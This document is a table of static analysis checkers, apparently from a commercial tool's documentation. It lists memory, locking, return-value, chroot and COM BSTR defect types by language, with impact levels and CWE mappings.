| BAD_FREE | Free of address-of first field | Memory - corruptions | C/C++ | A non-heap pointer is placed on the free list, likely causing a crash later; on some platforms, this could be used deliberately since it is equivalent to freeing the struct itself. | High | Quality | 590 | 17, 18, 361, 398, 399, 404, 465, 590, 633, 635, 664, 699, 700, 710, 711, 730, 734, 742, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| BAD_FREE | Free of address-of first field | Memory - corruptions | Objective-C/C++ | A non-heap pointer is placed on the free list, likely causing a crash later; on some platforms, this could be used deliberately since it is equivalent to freeing the struct itself. | High | Quality | 590 | 17, 18, 361, 398, 399, 404, 465, 590, 633, 635, 664, 699, 700, 710, 711, 730, 734, 742, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| BAD_FREE | Free of function pointer | Memory - corruptions | C/C++ | A pointer to the function's executable code is placed on the free list, likely causing a crash later; functions are not heap allocated and, hence, cannot be freed. | High | Quality | 590 | 17, 18, 361, 398, 399, 404, 465, 590, 633, 635, 664, 699, 700, 710, 711, 730, 734, 742, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| BAD_FREE | Free of function pointer | Memory - corruptions | Objective-C/C++ | A pointer to the function's executable code is placed on the free list, likely causing a crash later; functions are not heap allocated and, hence, cannot be freed. | High | Quality | 590 | 17, 18, 361, 398, 399, 404, 465, 590, 633, 635, 664, 699, 700, 710, 711, 730, 734, 742, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| BAD_FREE | Free of invalid pointer value | Memory - corruptions | C/C++ | A pointer is erroneously placed on the system allocator's free list, likely causing a crash later. | High | Quality | 590 | 17, 18, 361, 398, 399, 404, 465, 590, 633, 635, 664, 699, 700, 710, 711, 730, 734, 742, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| BAD_FREE | Free of invalid pointer value | Memory - corruptions | Objective-C/C++ | A pointer is erroneously placed on the system allocator's free list, likely causing a crash later. | High | Quality | 590 | 17, 18, 361, 398, 399, 404, 465, 590, 633, 635, 664, 699, 700, 710, 711, 730, 734, 742, 743, 750, 752, 762, 763, 844, 857, 868, 876, 877, 882, 884, 888, 891, 892, 907, 969, 978, 982, 984, 1000, 1003 | ||
| BAD_LOCK_OBJECT | Bad choice of lock object | Unreliable locking behavior | C# | Potential system-dependent lock collisions | High | Quality | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| BAD_LOCK_OBJECT | Bad choice of lock object | Unreliable locking behavior | Java | Potential system-dependent lock collisions | High | Quality | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| BAD_LOCK_OBJECT | Bad choice of lock object | Concurrent data access violations | C# | Potential lock collisions | Medium | Quality | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| BAD_LOCK_OBJECT | Bad choice of lock object | Concurrent data access violations | Java | Potential lock collisions | Medium | Quality | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| BAD_LOCK_OBJECT | Bad choice of lock object | Concurrent data access violations | C# | Data race condition | Medium | Quality | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| BAD_LOCK_OBJECT | Bad choice of lock object | Concurrent data access violations | Java | Data race condition | Medium | Quality | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| BAD_LOCK_OBJECT | Bad choice of lock object | Unreliable locking behavior | C# | Lock provides no protection | High | Quality | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| BAD_LOCK_OBJECT | Bad choice of lock object | Unreliable locking behavior | Java | Lock provides no protection | High | Quality | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| BAD_LOCK_OBJECT | Bad choice of lock object | Unreliable locking behavior | C# | Nondeterministic locking behavior | High | Quality | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| BAD_LOCK_OBJECT | Bad choice of lock object | Unreliable locking behavior | Java | Nondeterministic locking behavior | High | Quality | 543 | 17, 18, 361, 380, 381, 543, 662, 664, 691, 699, 700, 734, 745, 820, 844, 852, 853, 861, 868, 879, 888, 892, 894, 907, 977, 984, 986, 1000, 1003 | ||
| BAD_OVERRIDE | Failed to override method | Class hierarchy inconsistencies | C/C++ | The method will not be called when virtual dispatch is used, this may cause the class to not perform as expected. | Medium | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| BAD_OVERRIDE | Failed to override method | Class hierarchy inconsistencies | Objective-C/C++ | The method will not be called when virtual dispatch is used, this may cause the class to not perform as expected. | Medium | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| BAD_SHIFT | Bad bit shift operation | Integer handling issues | C/C++ | The operation may have an undefined behavior or yield an unexpected result. | Medium | Quality | None | |||
| BAD_SHIFT | Bad bit shift operation | Integer handling issues | C# | The operation may yield an unexpected result. | Medium | Quality | None | |||
| BAD_SHIFT | Bad bit shift operation | Integer handling issues | Java | The operation may yield an unexpected result. | Medium | Quality | None | |||
| BAD_SHIFT | Bad bit shift operation | Integer handling issues | Objective-C/C++ | The operation may have an undefined behavior or yield an unexpected result. | Medium | Quality | None | |||
| BAD_SIZEOF | Incorrect sizeof expression | Incorrect expression | C/C++ | This is usually caused by a typo or a misunderstanding of the sizeof operator, which should be applied to the actual type whose size is desired. An incorrect sizeof value is used in further computation. | Medium | Quality, Security | 467 | 17, 18, 19, 189, 465, 467, 635, 682, 699, 734, 737, 738, 739, 740, 750, 752, 868, 872, 873, 874, 884, 888, 890, 907, 974, 977, 1000, 1003 | ||
| BAD_SIZEOF | Incorrect sizeof expression | Incorrect expression | Objective-C/C++ | This is usually caused by a typo or a misunderstanding of the sizeof operator, which should be applied to the actual type whose size is desired. An incorrect sizeof value is used in further computation. | Medium | Quality, Security | 467 | 17, 18, 19, 189, 465, 467, 635, 682, 699, 734, 737, 738, 739, 740, 750, 752, 868, 872, 873, 874, 884, 888, 890, 907, 974, 977, 1000, 1003 | ||
| BAD_SIZEOF | Sizeof pointer expression | Incorrect expression | C/C++ | This is a suspicious usage that may be due to a typo or a misunderstanding of the sizeof operator, which should be applied to the target of the pointer. However, sometimes this usage is intentional. | Medium | Quality, Security | 467 | 17, 18, 19, 189, 465, 467, 635, 682, 699, 734, 737, 738, 739, 740, 750, 752, 868, 872, 873, 874, 884, 888, 890, 907, 974, 977, 1000, 1003 | ||
| BAD_SIZEOF | Sizeof pointer expression | Incorrect expression | Objective-C/C++ | This is a suspicious usage that may be due to a typo or a misunderstanding of the sizeof operator, which should be applied to the target of the pointer. However, sometimes this usage is intentional. | Medium | Quality, Security | 467 | 17, 18, 19, 189, 465, 467, 635, 682, 699, 734, 737, 738, 739, 740, 750, 752, 868, 872, 873, 874, 884, 888, 890, 907, 974, 977, 1000, 1003 | ||
| BUFFER_SIZE | Possible buffer overflow | Security best practices violations | C/C++ | Some memory locations will be written with incorrect values, possibly corrupting data structures or data integrity. | Low | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| BUFFER_SIZE | Possible buffer overflow | Security best practices violations | Objective-C/C++ | Some memory locations will be written with incorrect values, possibly corrupting data structures or data integrity. | Low | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 121, 122, 123, 124, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 786, 787, 788, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| BUFFER_SIZE | Copy into fixed size buffer | Security best practices violations | C/C++ | The string operation will write past the end of the fixed-size destination buffer if the source buffer is too large. | Low | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| BUFFER_SIZE | Copy into fixed size buffer | Security best practices violations | Objective-C/C++ | The string operation will write past the end of the fixed-size destination buffer if the source buffer is too large. | Low | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| BUFFER_SIZE | Destination buffer too small | Memory - corruptions | C/C++ | Some memory locations will be written with incorrect values, possibly corrupting data structures or data integrity. | High | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| BUFFER_SIZE | Destination buffer too small | Memory - corruptions | Objective-C/C++ | Some memory locations will be written with incorrect values, possibly corrupting data structures or data integrity. | High | Quality, Security | 120 | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| BUFFER_SIZE | Overlapping buffer in memory copy | API usage errors | C/C++ | Results in an undefined behavior | Medium | Quality, Security | None | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| BUFFER_SIZE | Overlapping buffer in memory copy | API usage errors | Objective-C/C++ | Results in an undefined behavior | Medium | Quality, Security | None | 17, 18, 19, 20, 118, 119, 120, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 802, 865, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ✓ | |
| BUFFER_SIZE | Buffer not null terminated | Memory - illegal accesses | C/C++ | If the buffer is treated as a null terminated string in later operations, a buffer overflow or over-read may occur. | High | Quality, Security | 170 | 17, 18, 19, 20, 74, 116, 137, 138, 169, 170, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 730, 734, 738, 741, 742, 746, 747, 748, 750, 751, 844, 845, 868, 872, 875, 876, 883, 884, 888, 890, 896, 907, 928, 929, 973, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020 | ||
| BUFFER_SIZE | Buffer not null terminated | Memory - illegal accesses | Objective-C/C++ | If the buffer is treated as a null terminated string in later operations, a buffer overflow or over-read may occur. | High | Quality, Security | 170 | 17, 18, 19, 20, 74, 116, 137, 138, 169, 170, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 730, 734, 738, 741, 742, 746, 747, 748, 750, 751, 844, 845, 868, 872, 875, 876, 883, 884, 888, 890, 896, 907, 928, 929, 973, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020 | ||
| BUFFER_SIZE_WARNING | Buffer not null terminated | Memory - illegal accesses | C/C++ | If the buffer is treated as a null terminated string in later operations, a buffer overflow or over-read may occur. | High | Quality | 170 | 17, 18, 19, 20, 74, 116, 137, 138, 169, 170, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 730, 734, 738, 741, 742, 746, 747, 748, 750, 751, 844, 845, 868, 872, 875, 876, 883, 884, 888, 890, 896, 907, 928, 929, 973, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020 | ||
| BUFFER_SIZE_WARNING | Buffer not null terminated | Memory - illegal accesses | Objective-C/C++ | If the buffer is treated as a null terminated string in later operations, a buffer overflow or over-read may occur. | High | Quality | 170 | 17, 18, 19, 20, 74, 116, 137, 138, 169, 170, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 730, 734, 738, 741, 742, 746, 747, 748, 750, 751, 844, 845, 868, 872, 875, 876, 883, 884, 888, 890, 896, 907, 928, 929, 973, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020 | ||
| CALL_SUPER | Failure to call super.clone() | Class hierarchy inconsistencies | Java | Failure to call super.clone may result in the wrong object type being created when cloning subclasses. | Medium | Quality | 580 | 17, 18, 227, 254, 264, 265, 361, 485, 573, 580, 635, 664, 699, 700, 710, 844, 850, 868, 881, 887, 888, 892, 895, 897, 907, 966, 978, 984, 1000, 1001, 1002, 1003, 1006 | ||
| CALL_SUPER | Failure to call super.finalize() | Class hierarchy inconsistencies | Java | The superclass may not get a chance to finalize, possibly leaking resources. | Medium | Quality | 568 | 17, 18, 227, 361, 398, 399, 404, 452, 459, 568, 573, 635, 664, 699, 700, 710, 711, 730, 731, 734, 743, 750, 752, 844, 850, 857, 868, 876, 877, 882, 887, 888, 892, 897, 907, 978, 982, 984, 1000, 1001, 1002, 1003, 1006 | ||
| CALL_SUPER | Missing call to base class | Class hierarchy inconsistencies | C# | Whatever action the base class method implements will not occur, if the base class call is actually required. | Medium | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| CALL_SUPER | Missing call to superclass | Class hierarchy inconsistencies | Java | Whatever action the superclass method implements will not occur, if the superclass call is actually required. | Medium | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| CALL_SUPER | Missing call to base class | Class hierarchy inconsistencies | Visual Basic | Whatever action the base class method implements will not occur, if the base class call is actually required. | Medium | Quality | 573 | 227, 573, 699, 700, 710, 844, 850, 887, 888, 907, 978, 1000, 1001, 1006 | ||
| CHAR_IO | Truncated stdio return value | API usage errors | C/C++ | It will not be possible to distinguish between EOF and a valid character. | Medium | Quality | 197 | 17, 18, 19, 136, 189, 197, 361, 635, 664, 681, 699, 700, 704, 734, 737, 738, 739, 741, 747, 800, 808, 844, 848, 867, 868, 872, 873, 875, 883, 884, 885, 888, 892, 900, 984, 998, 1000, 1003 | ||
| CHAR_IO | Truncated stdio return value | API usage errors | Objective-C/C++ | It will not be possible to distinguish between EOF and a valid character. | Medium | Quality | 197 | 17, 18, 19, 136, 189, 197, 361, 635, 664, 681, 699, 700, 704, 734, 737, 738, 739, 741, 747, 800, 808, 844, 848, 867, 868, 872, 873, 875, 883, 884, 885, 888, 892, 900, 984, 998, 1000, 1003 | ||
| CHECKED_RETURN | Unchecked return value from library | Error handling issues | C/C++ | The function returns a value that indicates an error condition. If this is not checked, the error condition may not be handled correctly. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Unchecked return value from library | Error handling issues | Java | The function returns a value that indicates an error condition. If this is not checked, the error condition may not be handled correctly. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Unchecked return value from library | Error handling issues | Objective-C/C++ | The function returns a value that indicates an error condition. If this is not checked, the error condition may not be handled correctly. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Unchecked return value | Error handling issues | C/C++ | If the function returns an error value, the error value may be mistaken for a normal value. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Unchecked return value | Error handling issues | Java | If the function returns an error value, the error value may be mistaken for a normal value. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Unchecked return value | Error handling issues | Objective-C/C++ | If the function returns an error value, the error value may be mistaken for a normal value. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Unchecked error in return value | Error handling issues | C/C++ | If the function returns an error value, the error value may be mistaken for a normal value. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Ignoring number of bytes read | Error handling issues | C/C++ | The number of bytes copied into the buffer can be smaller than the requested number and the buffer can potentially be accessed out of range. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Ignoring number of bytes read | Error handling issues | Java | The number of bytes copied into the buffer can be smaller than the requested number and the buffer can potentially be accessed out of range. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Ignoring number of bytes read | Error handling issues | Objective-C/C++ | The number of bytes copied into the buffer can be smaller than the requested number and the buffer can potentially be accessed out of range. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Unchecked return value as arg | Error handling issues | C/C++ | If the function returns an error value, it may be assumed to be a non-error value by the outer function call. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Unchecked return value as arg | Error handling issues | Objective-C/C++ | If the function returns an error value, it may be assumed to be a non-error value by the outer function call. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Unchecked return value from user code | Error handling issues | C/C++ | If the function returns an error value, the error value may be mistaken for a normal value. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Unchecked return value from user code | Error handling issues | Java | If the function returns an error value, the error value may be mistaken for a normal value. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHECKED_RETURN | Unchecked return value from user code | Error handling issues | Objective-C/C++ | If the function returns an error value, the error value may be mistaken for a normal value. | Medium | Quality | 252 | 17, 18, 227, 252, 253, 388, 389, 573, 699, 700, 703, 710, 711, 728, 734, 742, 754, 800, 802, 840, 844, 847, 850, 851, 867, 868, 876, 880, 884, 887, 888, 889, 900, 907, 961, 962, 978, 1000, 1001, 1003, 1006, 1008, 1012 | ||
| CHROOT | Insecure chroot | API usage errors | C/C++ | If a call to chroot is not followed by a call to chdir("/") the chroot jail confinement can be violated. | Medium | Quality, Security | 243 | 17, 18, 227, 243, 254, 264, 265, 361, 573, 632, 635, 664, 669, 699, 700, 710, 844, 850, 887, 888, 892, 893, 895, 907, 963, 978, 979, 984, 1000, 1001, 1003, 1006, 1008, 1011, 1015 | ||
| CHROOT | Insecure chroot | API usage errors | Objective-C/C++ | If a call to chroot is not followed by a call to chdir("/") the chroot jail confinement can be violated. | Medium | Quality, Security | 243 | 17, 18, 227, 243, 254, 264, 265, 361, 573, 632, 635, 664, 669, 699, 700, 710, 844, 850, 887, 888, 892, 893, 895, 907, 963, 978, 979, 984, 1000, 1001, 1003, 1006, 1008, 1011, 1015 | ||
| COM.ADDROF_LEAK | Managed pointer overwrite | Resource leaks | C/C++ | A non-null pointer value is potentially overwritten without the corresponding allocated memory being freed first. This may cause the memory to be leaked. | High | Quality | None | 17, 18, 361, 398, 399, 400, 401, 404, 633, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 772, 800, 808, 844, 857, 858, 861, 867, 868, 876, 877, 882, 884, 888, 892, 900, 907, 978, 982, 984, 985, 1000, 1003 | ||
| COM.BAD_FREE | Explicit free of COM interface | Memory - illegal accesses | C/C++ | Other owners of the interface may be left with dangling pointers, ultimately resulting in use after free errors. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 404, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 730, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 762, 763, 800, 808, 825, 840, 844, 857, 867, 868, 872, 874, 875, 876, 877, 878, 882, 883, 884, 888, 890, 891, 892, 896, 900, 907, 969, 970, 975, 978, 982, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| COM.BSTR.ALLOC | COM BSTR double free | Memory - illegal accesses | C/C++ | Undefined behavior including memory corruption and crashes due to illegal memory accesses can result. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 227, 254, 361, 398, 399, 415, 416, 465, 573, 633, 635, 664, 666, 672, 675, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 844, 850, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 887, 888, 890, 891, 892, 896, 900, 907, 969, 970, 975, 978, 983, 984, 994, 1000, 1001, 1003, 1005, 1006, 1008, 1019 | ||
| COM.BSTR.ALLOC | COM BSTR uninitialized var free | Memory - illegal accesses | C/C++ | Arbitrary values can be freed causing memory corruption and other undefined behavior. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| COM.BSTR.ALLOC | COM BSTR memory leak | Resource leaks | C/C++ | The memory allocated for the BSTR will not be reclaimed and reused, reducing the future availability of memory. | High | Quality | 401 | 17, 18, 361, 398, 399, 400, 401, 404, 633, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 772, 800, 808, 844, 857, 858, 861, 867, 868, 876, 877, 882, 884, 888, 892, 900, 907, 978, 982, 984, 985, 1000, 1003 | ||
| COM.BSTR.ALLOC | COM BSTR error | Memory - illegal accesses | C/C++ | Memory corruption or a memory leak may occur. | High | Quality | 633 | 633 | ||
| COM.BSTR.ALLOC | Freeing non-owned COM BSTR | Memory - illegal accesses | C/C++ | This could cause an immediate crash or incorrect values might be read subsequently resulting in incorrect computations. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| COM.BSTR.ALLOC | COM BSTR uninitialized var use | Memory - illegal accesses | C/C++ | Arbitrary values can be read; illegal memory locations can be accessed. | High | Quality | 416 | 17, 18, 19, 20, 118, 119, 254, 361, 398, 399, 416, 465, 633, 635, 664, 666, 672, 693, 699, 700, 710, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 800, 808, 825, 840, 867, 868, 872, 874, 875, 876, 877, 878, 883, 884, 888, 890, 892, 896, 900, 907, 970, 975, 978, 983, 984, 994, 1000, 1003, 1005, 1008, 1019 | ||
| COM.BSTR.BAD_COMPARE | Bad COM BSTR comparison | API usage errors | C/C++ | A naive attempt to determine the lexical ordering of two BSTRs using <, <=, >, or >= will actually only compare two pointers, yielding a meaningless result. | Medium | Quality | None | |||
| COM.BSTR.CONV | COM bad conversion to BSTR | Memory - corruptions | C/C++ | Accessing a wchar_t as if it were a BSTR may read out of bounds memory or cause memory corruption. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 133, 135, 189, 254, 633, 635, 682, 693, 699, 700, 711, 722, 726, 734, 738, 739, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 844, 857, 868, 872, 873, 874, 875, 876, 877, 878, 883, 884, 888, 890, 896, 907, 970, 974, 975, 977, 994, 1000, 1003, 1005, 1008, 1019 | ||
| COM.BSTR.NE_NON_BSTR | COM BSTR inequality with non-BSTR | API usage errors | C/C++ | The special memory management used by BSTR makes it unlikely that a simple equality comparison with any other type will yield the desired result. | Medium | Quality | None | |||
| CONFIG.ASPNET_VERSION_HEADER | ASP.NET version disclosure | Low impact security | C# | Setting enableVersionHeader to true reveals information about the specific version of ASP.NET running on the system. This can be used to target security vulnerabilities in the specific version. | Low | Security | 200 | 16, 17, 18, 19, 199, 200, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A6: Security Misconfiguration | |
